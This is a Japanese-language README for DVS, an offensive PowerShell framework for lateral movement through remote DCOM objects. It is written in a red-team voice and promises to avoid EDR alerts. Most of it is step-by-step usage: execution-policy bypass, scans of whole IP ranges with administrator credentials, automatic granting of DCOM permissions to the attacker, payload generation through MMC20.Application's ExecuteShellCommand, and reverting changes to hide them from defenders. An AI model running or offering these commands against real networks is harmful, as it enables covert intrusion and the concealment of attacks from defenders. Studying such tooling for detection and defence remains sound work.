
D(COM) V(ulnerability) S(canner) 別名 Devious swiss army knife - DCOM オブジェクトを使用した横方向の移動
内部ネットワークを横方向に移動する方法や、EDR に警告を発することなくリモートマシンと対話する方法を考えたことはありますか? 有効な資格情報を持っているか、リモートマシンにアクセスできるアクティブなセッションがあるが、既知、予想、または高度に監視された方法(WMI、タスクスケジューラ、WinRM、PowerShell リモート処理など)でリモートでプロセスを実行する選択肢がないと仮定しましょう。
このようなシナリオでは、DVS フレームワークが救いの手を差し伸べます。
DVS フレームワークはスイスアーミーナイフであり、リモート DCOM オブジェクトの脆弱な関数を列挙し、それらを起動し、さらにはそれらを使用して攻撃を開始することができます。
このフレームワークは「レッドチーム」の考え方で開発されており、ステルスな方法を使用してリモートマシンを侵害します。
DVS フレームワークには、DCOM に対するリモートの堅牢化を リモートから 再び有効にし、攻撃ユーザーに必要な権限を自動的に付与することでバイパスするさまざまな方法が含まれています。
また、フレームワークはリモートマシンの変更を攻撃前の元の状態に戻すこともでき、防御側からこれらの変更を隠します。
私たちの主な洞察は、このツールが aqsome テクニック(Invoke-RegisterRemoteSchema について以下を参照)を使用して、脆弱ではない DCOM オブジェクトを介してコマンドを実行できることです。
PowerShell 2.0 以降と互換性あり
YouTube ビデオ PoC: DVS
このツールはテストおよび教育目的のみです。このコードのその他の使用は許可されていません。自己責任で使用してください。
作成者は、このツールの誤用によるいかなる責任も負いません。
使用することにより、このツールの使用によって生じた損害に対する責任はすべて利用者にあることを認めたものとします。
リモートレジストリアクセス(MS-RRP)
AutoGrant モードがフラグされている場合、書き込み権限を確認する。それ以外の場合は読み取り権限を確認する標準レジストリプロバイダー(リモートレジストリが拒否された場合)
StdRegProv にアクセス可能かどうかを確認するAutoGrant モードがフラグされている場合、書き込み権限を確認する。それ以外の場合は読み取り権限を確認するDVS ツールは、まず以下の手順でプリンシパル ID がリモートマシンにアクセスできるかどうかを確認します。
基本アクション
SkipRegAuth がフラグされていない場合)
AutoGrant がフラグされている場合)、それ以外の場合は失敗しますadsi/WindowsIdentity 機能を介して)が DCOM との対話を許可されているかどうかを確認します(リモートレジストリクエリを介して)AutoGrant がフラグされている場合)、それ以外の場合は失敗しますHKLM または HKCU ハイブ)を使用して試みますInvoke-DCOMObjectScan
Get-ExecutionCommand
Invoke-ExecutionCommand
Invoke-RegisterRemoteSchema
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed # Invoke-DCOMObjectScan コマンドの詳細を取得します
PS> Get-Help Get-ExecutionCommand -Detailed # Get-ExecutionCommand コマンドの詳細を取得します
PS> Get-Help Invoke-ExecutionCommand -Detailed # Invoke-ExecutionCommand コマンドの詳細を取得します
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Invoke-RegisterRemoteSchema コマンドの詳細を取得します
Invoke-DCOMObjectScan 関数を使用すると、DCOM オブジェクトをスキャンし、ファイルに含めたパターンのリストまたは正確な関数名を介して脆弱な関数を見つけることができます。
例:
DC01 ホスト上の攻撃者マシンから MMC20.Application (ProgID) オブジェクトを列挙してスキャンします。レジストリは照会しません。
Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
注: ツールは ACL 権限を分析しません。ツールが成功すると、オブジェクトに関するすべての情報(オブジェクト名、実行可能ファイルなど、レジストリに記載されている詳細を除く)を解決します。
DC01 ホスト上の攻撃者マシンから MMC20.Application (ProgID) オブジェクトにアクセス可能かどうかを、DCOM オブジェクトのアクセスリストを事前に照会および確認せずにチェックします。
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
MMC20.Application (ProgID) が範囲 10.211.55.4/24 を介して適用可能かどうかを検証します。存在する場合、ツールはその情報の列挙を試みます(現在ログオンしているユーザーセッションを使用)。
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
CLSID {00020812-0000-0000-C000-000000000046} が IP アドレス 10.211.55.4 を介してオブジェクトとして存在し、アクセス可能かどうかを検証します。存在する場合、ツールはその情報を解決します(lab\administrator 資格情報を使用)。
PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose
指定されたパス(例: C:\Users\USERNAME\Desktop\DVS\objects.txt)に保存されているすべてのオブジェクトを IP アドレス 10.211.55.4 を介してスキャンし、指定されたファイル(vulnerable.txt など)にある関数リストを lab\administrator 資格情報を使用して見つけます。設定は以下の通り:
最大深度: 4
最大結果: 1 (オブジェクトごとに 1 つの結果)
AutoGrant モード: オブジェクトにアクセスできないか、DCOM 機能が無効な場合、DCOM 機能を有効にし、該当する DCOM オブジェクトに自動的に許可を実行します。
最後に、マシンを攻撃前と同じ状態に戻します。
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
10.211.55.1/24 範囲の利用可能なリモートマシンに保存されているすべてのオブジェクトをスキャンし、選択されたファイル(例: C:\Users\USERNAME\Desktop\DVS\vulnerable.txt)のリストから潜在的な脆弱な関数を見つけ、選択されたファイル(例: C:\Users\USERNAME\Desktop\DVS\exclude.txt)のオブジェクトを除外し、同じオブジェクト上の他のルートにある同じ名前のプロパティをスキップします。
注: SkipSameProperyName フラグは、同じプロパティ名が異なるプリファレンス(メソッド/その他のプロパティ)または異なる深度チェーンを持つ場合、脆弱な関数を見逃す可能性があります。
PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
Get-ExecutionCommand 関数を使用すると、リモート DCOM 関数と対話し、関連するパラメータで実行する PowerShell ペイロードを生成できます。
IP アドレス 10.211.55.4 を介して、lab\administrator 資格情報を使用して、プリンシパル ID が {00020812-0000-0000-C000-000000000046} CLSID オブジェクトとの対話を許可されているかどうかを確認し、実行コマンドを生成します。
PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
DCOM アクセスを確認します。
プリンシパル ID に必要な権限がない場合、または DCOM 機能が無効な場合、ツールは DCOM 機能を有効にし、ID アクセスを許可して、lab\administrator 資格情報を使用して IP アドレス 10.211.55.4 を介して MMC20.Application (ProgID) オブジェクトと対話し、実行コマンドを生成します。
最後に、マシンを攻撃前と同じ状態に戻します。
PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose